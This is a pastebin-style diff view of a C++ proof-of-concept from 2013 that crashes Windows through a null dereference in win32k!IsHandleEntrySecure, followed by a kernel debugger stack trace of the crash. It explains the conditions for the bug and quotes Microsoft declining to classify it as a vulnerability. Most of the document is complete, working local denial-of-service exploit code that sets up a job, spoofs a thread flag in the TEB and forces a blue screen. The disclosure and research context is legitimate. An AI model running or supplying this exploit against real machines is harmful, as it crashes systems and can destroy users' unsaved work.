SHOW:
|
|
- or go back to the newest paste.
1 | // | |
2 | // IsHandleEntrySecure_w32job_dereference_bsod.cpp | |
3 | // @sixtyvividtails | |
4 | // | |
5 | // | |
6 | // Function win32k!IsHandleEntrySecure() doesn't properly check if 'pW32Job' field of 'tagPROCESSINFO' for current | |
7 | // process contains non-zero value. This allows unprivileged local user to cause null derefence in kernel mode (that's | |
8 | // it, just bsod). | |
9 | // | |
10 | // NtUserValidateHandleSecure(win32Handle) -> | |
11 | // ValidateHandleSecure(win32Handle, 3) -> | |
12 | // IsHandleEntrySecure(win32Handle, pHandleEntry) -> bsod | |
13 | // | |
14 | // | |
15 | // To get bsod, user should call NtUserValidateHandleSecure(), with following conditions: | |
16 | // 1) Calling process SHOULD NOT be assigned to job. | |
17 | // 2) Handle for validation should specify "owned" object (flags OCF_THREADOWNED or OCF_PROCESSOWNED). | |
18 | // 3) Process which owns object SHOULD be assigned to job. | |
19 | // | |
20 | // | |
21 | // | |
22 | // IsHandleEntrySecure: | |
23 | // ... | |
24 | // .text:00149042 eax: current process processInfo | |
25 | // .text:00149042 edx: handleEntry process processInfo | |
26 | // .text:00149042 | |
27 | // .text:00149042 checkHandleInJob: ; CODE XREF: IsHandleEntrySecure(x,x)+48j | |
28 | // .text:00149042 mov ecx, [eax+tagPROCESSINFO.pW32Job] ; ecx: pW32Job of current process processInfo | |
29 | // .text:00149048 cmp [edx+tagPROCESSINFO.pW32Job], ecx | |
30 | // .text:0014904E jz short ret_1 | |
31 | // .text:0014904E | |
32 | // .text:00149050 mov edx, [ecx+tagW32JOB.pgh] ; <<<<<<< let's bsod here | |
33 | // .text:00149053 xor eax, eax | |
34 | // .text:00149055 test edx, edx | |
35 | // .text:00149057 jz short ret_eax | |
36 | // | |
37 | // | |
38 | // | |
39 | // Microsoft doesn't consider this as vulnerability. Their responce to my report of the bug: | |
40 | // | |
41 | // QUOTE START | |
42 | // I looked through your report, and it appears to be a local DOS. Although this is an unfortunate bug, we don't | |
43 | // consider it a security vulnerability according to our 10 immutable laws of security | |
44 | // (http://technet.microsoft.com/library/cc722487.aspx). If you know how to exploit this bug without violating one of | |
45 | // those laws, we would consider it a remote DOS which is considered a vulnerability. | |
46 | // | |
47 | // If you'd like to see this bug fixed, please contact Microsoft Product Support Services at | |
48 | // http://support.microsoft.com/common/international.aspx. You may also want to try posting a message to our free | |
49 | // support newsgroups. See Microsoft Product Support Newsgroups at http://support.microsoft.com/newsgroups/ for more | |
50 | // information. | |
51 | // QUOTE END | |
52 | // | |
53 | ||
54 | ||
55 | #include <conio.h> | |
56 | #include <Windows.h> | |
57 | #include <strsafe.h> | |
58 | ||
59 | ||
60 | #pragma section(".shared", read, write, shared) | |
61 | ||
62 | __declspec(allocate(".shared")) | |
63 | HWND WindowHandle; | |
64 | __declspec(allocate(".shared")) | |
65 | HANDLE ChildWindowReadyEvent; | |
66 | __declspec(allocate(".shared")) | |
67 | HANDLE ParentProcess; | |
68 | ||
69 | ||
70 | int go_first_instance() | |
71 | { | |
72 | - | wprintf( |
72 | + | wprintf( |
73 | - | L"IsHandleEntrySecure_w32job_dereference_bsod\n" |
73 | + | L"IsHandleEntrySecure_w32job_dereference_bsod\n" |
74 | - | L"@sixtyvividtails 2013-11-12\n" |
74 | + | L"@sixtyvividtails 2013-11-12\n" |
75 | - | L"\n"); |
75 | + | L"\n"); |
76 | ||
77 | - | // Make job for second process, and set some restrictions, so 'W32Job' field of 'tagPROCESSINFO' gets filled. |
77 | + | // Make job for second process, and set some restrictions, so 'W32Job' field of 'tagPROCESSINFO' gets filled. |
78 | - | HANDLE job = CreateJobObject(NULL, NULL); |
78 | + | HANDLE job = CreateJobObject(NULL, NULL); |
79 | - | JOBOBJECT_BASIC_UI_RESTRICTIONS uiRestrictions = {JOB_OBJECT_UILIMIT_WRITECLIPBOARD}; |
79 | + | JOBOBJECT_BASIC_UI_RESTRICTIONS uiRestrictions = {JOB_OBJECT_UILIMIT_WRITECLIPBOARD}; |
80 | - | SetInformationJobObject(job, JobObjectBasicUIRestrictions, &uiRestrictions, sizeof(uiRestrictions)); |
80 | + | SetInformationJobObject(job, JobObjectBasicUIRestrictions, &uiRestrictions, sizeof(uiRestrictions)); |
81 | ||
82 | - | STARTUPINFO si = {sizeof(si)}; |
82 | + | STARTUPINFO si = {sizeof(si)}; |
83 | - | PROCESS_INFORMATION pi = {}; |
83 | + | PROCESS_INFORMATION pi = {}; |
84 | - | CreateProcess(NULL, GetCommandLine(), NULL, NULL, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, NULL, NULL, &si, &pi); |
84 | + | CreateProcess(NULL, GetCommandLine(), NULL, NULL, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, NULL, NULL, &si, &pi); |
85 | - | if (!AssignProcessToJobObject(job, pi.hProcess)) |
85 | + | if (!AssignProcessToJobObject(job, pi.hProcess)) |
86 | - | return TerminateProcess(pi.hProcess, -1), wprintf(L"AssignProcessToJobObject failed\n"); |
86 | + | return TerminateProcess(pi.hProcess, -1), wprintf(L"AssignProcessToJobObject failed\n"); |
87 | - | auto me = GetCurrentProcess(); |
87 | + | auto me = GetCurrentProcess(); |
88 | - | DuplicateHandle(me, me, pi.hProcess, &ParentProcess, SYNCHRONIZE, FALSE, 0); |
88 | + | DuplicateHandle(me, me, pi.hProcess, &ParentProcess, SYNCHRONIZE, FALSE, 0); |
89 | - | HANDLE childWindowReady = CreateEvent(NULL, FALSE, FALSE, NULL); |
89 | + | HANDLE childWindowReady = CreateEvent(NULL, FALSE, FALSE, NULL); |
90 | - | DuplicateHandle(me, childWindowReady, pi.hProcess, &ChildWindowReadyEvent, EVENT_MODIFY_STATE, FALSE, 0); |
90 | + | DuplicateHandle(me, childWindowReady, pi.hProcess, &ChildWindowReadyEvent, EVENT_MODIFY_STATE, FALSE, 0); |
91 | - | ResumeThread(pi.hThread); |
91 | + | ResumeThread(pi.hThread); |
92 | ||
93 | - | // Wanna call 'NtUserValidateHandleSecure', but don't wanna hardcode func offsets or api numbers. |
93 | + | // Wanna call 'NtUserValidateHandleSecure', but don't wanna hardcode func offsets or api numbers. |
94 | - | // So, we can make user32 to call that function for us if we fake TIF_RESTRICTED flag in local tagCLIENTINFO |
94 | + | // So, we can make user32 to call that function for us if we fake TIF_RESTRICTED flag in local tagCLIENTINFO |
95 | - | // (Teb->Win32ClientInfo, its offsets are quite stable). |
95 | + | // (Teb->Win32ClientInfo, its offsets are quite stable). |
96 | - | BOOL x64 = FALSE; |
96 | + | BOOL x64 = FALSE; |
97 | - | __asm |
97 | + | __asm |
98 | - | { |
98 | + | { |
99 | - | xor eax, eax; |
99 | + | xor eax, eax; |
100 | - | mov ax, gs; |
100 | + | mov ax, gs; |
101 | - | mov x64, eax; |
101 | + | mov x64, eax; |
102 | - | } |
102 | + | } |
103 | - | // (note: no sanity checks here) |
103 | + | // (note: no sanity checks here) |
104 | - | PDWORD threadInfoFlags = x64? |
104 | + | PDWORD threadInfoFlags = x64? |
105 | - | PDWORD(__readfsdword(0xf70) + 0x800 + 0x1c): // &teb->teb64->Win32ClientInfo.dwTIFlags |
105 | + | PDWORD(__readfsdword(0xf70) + 0x800 + 0x1c): // &teb->teb64->Win32ClientInfo.dwTIFlags |
106 | - | PDWORD(__readfsdword(0x018) + 0x6cc + 0x14); // &teb->Win32ClientInfo.dwTIFlags |
106 | + | PDWORD(__readfsdword(0x018) + 0x6cc + 0x14); // &teb->Win32ClientInfo.dwTIFlags |
107 | - | *threadInfoFlags |= 0; // die now if ptr invalid. |
107 | + | *threadInfoFlags |= 0; // die now if ptr invalid. |
108 | ||
109 | - | WaitForSingleObject(childWindowReady, 7000); |
109 | + | WaitForSingleObject(childWindowReady, 7000); |
110 | - | wprintf(L"ready to bsod, HWND: %p\n" |
110 | + | wprintf(L"ready to bsod, HWND: %p\n" |
111 | - | L"press <enter> to continue...\n", WindowHandle); |
111 | + | L"press <enter> to continue...\n", WindowHandle); |
112 | - | _getwch(); |
112 | + | _getwch(); |
113 | ||
114 | - | *threadInfoFlags |= 0x20000000; // TIF_RESTRICTED |
114 | + | *threadInfoFlags |= 0x20000000; // TIF_RESTRICTED |
115 | - | IsWindow(WindowHandle); // boom. Just indirect call to 'NtUserValidateHandleSecure()'. |
115 | + | IsWindow(WindowHandle); // boom. Just indirect call to 'NtUserValidateHandleSecure()'. |
116 | - | // Could as well call NtUserValidateHandleSecure(WindowHandle) directly, without messing with teb. |
116 | + | // Could as well call NtUserValidateHandleSecure(WindowHandle) directly, without messing with teb. |
117 | ||
118 | - | // should not be here. |
118 | + | // should not be here. |
119 | - | wprintf(L"bsod failed, I am so sorry.\n"); |
119 | + | wprintf(L"bsod failed, I am so sorry.\n"); |
120 | - | return 0; |
120 | + | return 0; |
121 | } | |
122 | ||
123 | ||
124 | int go_second_instance() | |
125 | { | |
126 | - | WindowHandle = CreateWindowEx(0, L"BUTTON", L"bsod", 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL); |
126 | + | WindowHandle = CreateWindowEx(0, L"BUTTON", L"bsod", 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL); |
127 | - | SetEvent(ChildWindowReadyEvent); |
127 | + | SetEvent(ChildWindowReadyEvent); |
128 | - | WaitForSingleObject(ParentProcess, INFINITE); |
128 | + | WaitForSingleObject(ParentProcess, INFINITE); |
129 | - | return 0; |
129 | + | return 0; |
130 | } | |
131 | ||
132 | ||
133 | int main() | |
134 | { | |
135 | - | if (!ChildWindowReadyEvent) |
135 | + | if (!ChildWindowReadyEvent) |
136 | - | go_first_instance(); |
136 | + | go_first_instance(); |
137 | - | else |
137 | + | else |
138 | - | go_second_instance(); |
138 | + | go_second_instance(); |
139 | ||
140 | - | return 0; |
140 | + | return 0; |
141 | } | |
142 | ||
143 | ||
144 | ||
145 | ||
146 | ||
147 | #if 0 | |
148 | stacktrace, win8 x64: | |
149 | ||
150 | FOLLOWUP_IP: | |
151 | win32k!IsHandleEntrySecure+71 | |
152 | fffff960`002a7591 488b4a38 mov rcx,qword ptr [rdx+38h] | |
153 | ||
154 | SYMBOL_STACK_INDEX: 0 | |
155 | ||
156 | SYMBOL_NAME: win32k!IsHandleEntrySecure+71 | |
157 | ||
158 | FOLLOWUP_NAME: MachineOwner | |
159 | ||
160 | MODULE_NAME: win32k | |
161 | ||
162 | IMAGE_NAME: win32k.sys | |
163 | ||
164 | DEBUG_FLR_IMAGE_TIMESTAMP: 5216eef4 | |
165 | ||
166 | STACK_COMMAND: .cxr 0xfffff880190d31b0 ; kb | |
167 | ||
168 | BUCKET_ID_FUNC_OFFSET: 71 | |
169 | ||
170 | FAILURE_BUCKET_ID: 0x3B_win32k!IsHandleEntrySecure | |
171 | ||
172 | BUCKET_ID: 0x3B_win32k!IsHandleEntrySecure | |
173 | ||
174 | Followup: MachineOwner | |
175 | --------- | |
176 | ||
177 | ||
178 | ||
179 | ||
180 | 4: kd> k | |
181 | Child-SP RetAddr Call Site | |
182 | fffff880`190d28b8 fffff802`36876769 nt!KeBugCheckEx | |
183 | fffff880`190d28c0 fffff802`368760bc nt!KiBugCheckDispatch+0x69 | |
184 | fffff880`190d2a00 fffff802`368e34bd nt!KiSystemServiceHandler+0x7c | |
185 | fffff880`190d2a40 fffff802`3690b3d4 nt!RtlpExecuteHandlerForException+0xd | |
186 | fffff880`190d2a70 fffff802`368e5216 nt!RtlDispatchException+0x458 | |
187 | fffff880`190d3180 fffff802`36876842 nt!KiDispatchException+0x455 | |
188 | fffff880`190d3840 fffff802`36874fba nt!KiExceptionDispatch+0xc2 | |
189 | fffff880`190d3a20 fffff960`002a7591 nt!KiPageFault+0x23a | |
190 | fffff880`190d3bb0 fffff960`002a66bb win32k!IsHandleEntrySecure+0x71 | |
191 | fffff880`190d3be0 fffff960`002a75f4 win32k!ValidateHandleSecure+0x6405b | |
192 | fffff880`190d3c10 fffff802`36876453 win32k!NtUserValidateHandleSecure+0x31 | |
193 | fffff880`190d3c40 00000000`77d72ad2 nt!KiSystemServiceCopyEnd+0x13 | |
194 | 00000000`0011e688 00000000`77d72a9f wow64cpu!CpupSyscallStub+0x2 | |
195 | 00000000`0011e690 00000000`77d8c4f6 wow64cpu!Thunk0Arg+0x5 | |
196 | 00000000`0011e740 00000000`77d8b8f5 wow64!RunCpuSimulation+0xa | |
197 | 00000000`0011e790 000007fa`d342ff21 wow64!Wow64LdrpInitialize+0x435 | |
198 | 00000000`0011ecd0 000007fa`d340655e ntdll!LdrpInitializeProcess+0x1576 | |
199 | 00000000`0011efe0 000007fa`d343d3be ntdll!_LdrpInitialize+0xffffffff`fffc917e | |
200 | 00000000`0011f050 00000000`00000000 ntdll!LdrInitializeThunk+0xe | |
201 | ||
202 | 4: kd> r | |
203 | rax=fffff880190d29c0 rbx=0000000000000000 rcx=000000000000003b | |
204 | rdx=00000000c0000005 rsi=fffff880190ce000 rdi=fffff880190d4000 | |
205 | rip=fffff80236877440 rsp=fffff880190d28b8 rbp=fffff880190d2b70 | |
206 | r8=fffff960002a7591 r9=fffff880190d31b0 r10=0000000000000000 | |
207 | r11=fffff80236b2e410 r12=0000000000000000 r13=0000000000000000 | |
208 | r14=fffff880190d3978 r15=fffff80236876453 | |
209 | iopl=0 nv up ei ng nz na po nc | |
210 | cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286 | |
211 | nt!KeBugCheckEx: | |
212 | fffff802`36877440 48894c2408 mov qword ptr [rsp+8],rcx ss:0018:fffff880`190d28c0=3b00000000000000 | |
213 | ||
214 | ||
215 | 4: kd> .cxr 0xfffff880190d31b0 | |
216 | rax=0000000000000001 rbx=fffff90100407bc0 rcx=fffff90102966a60 | |
217 | rdx=0000000000000000 rsi=0000000000030528 rdi=0000000000030528 | |
218 | rip=fffff960002a7591 rsp=fffff880190d3bb0 rbp=0000000000000000 | |
219 | r8=0000000000000000 r9=0000000077e5dc64 r10=fffff960002a75c4 | |
220 | r11=fffff880190d3be0 r12=000000007edab000 r13=000000000011fdb0 | |
221 | r14=000000000021fc20 r15=0000000077d72300 | |
222 | iopl=0 nv up ei ng nz na po nc | |
223 | cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010286 | |
224 | win32k!IsHandleEntrySecure+0x71: | |
225 | fffff960`002a7591 488b4a38 mov rcx,qword ptr [rdx+38h] ds:002b:00000000`00000038=???????????????? | |
226 | 4: kd> k | |
227 | *** Stack trace for last set context - .thread/.cxr resets it | |
228 | Child-SP RetAddr Call Site | |
229 | fffff880`190d3bb0 fffff960`002a66bb win32k!IsHandleEntrySecure+0x71 | |
230 | fffff880`190d3be0 fffff960`002a75f4 win32k!ValidateHandleSecure+0x6405b | |
231 | fffff880`190d3c10 fffff802`36876453 win32k!NtUserValidateHandleSecure+0x31 | |
232 | fffff880`190d3c40 00000000`77d72ad2 nt!KiSystemServiceCopyEnd+0x13 | |
233 | 00000000`0011e688 00000000`77d72a9f wow64cpu!CpupSyscallStub+0x2 | |
234 | 00000000`0011e690 00000000`77d8c4f6 wow64cpu!Thunk0Arg+0x5 | |
235 | 00000000`0011e740 00000000`77d8b8f5 wow64!RunCpuSimulation+0xa | |
236 | 00000000`0011e790 000007fa`d342ff21 wow64!Wow64LdrpInitialize+0x435 | |
237 | 00000000`0011ecd0 000007fa`d340655e ntdll!LdrpInitializeProcess+0x1576 | |
238 | 00000000`0011efe0 000007fa`d343d3be ntdll!_LdrpInitialize+0xffffffff`fffc917e | |
239 | 00000000`0011f050 00000000`00000000 ntdll!LdrInitializeThunk+0xe | |
240 | ||
241 | #endif // #if 0 |